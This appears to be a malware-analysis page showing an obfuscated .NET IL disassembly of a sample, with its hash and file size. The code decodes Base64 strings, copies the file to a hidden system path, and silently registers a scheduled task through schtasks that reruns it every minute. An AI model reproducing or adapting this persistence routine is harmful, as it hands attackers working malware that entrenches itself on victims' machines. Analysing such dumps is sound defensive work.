V_5 ldloc.s V_11 ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldloc.s V_4 call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_12 ldsfld System.String BKfP1dVClJ1UVNsxMHL0.8bDIGTpepoRy1n0Zcilt::EPInLPvjME34z9Kzsce3 ldloc.s V_12 ldc.i4.1 <null> call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean) ldloc.s V_12 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.0 <null> ldloc.s V_11 ldelem.ref <null> stloc.s V_13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_15 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_15 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_14 ldloc.s V_14 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_04AD: leave IL_04C4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_16 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04AD: leave IL_04C4 leave IL_04C4: ldloc.s V_11 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04C4: ldloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> add.ovf <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_18 ble IL_03A7: ldloc.s V_5 ldnull <null> ldftn System.Void 5HOwJkgbrO6SA03lPRFK.53FTAW7pmlyL4aexBMd1::NrpGQUn0m5kCddcMcIlo() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean) ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
486063249f6b355cf0a50e7c2eb76445 (70.66 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙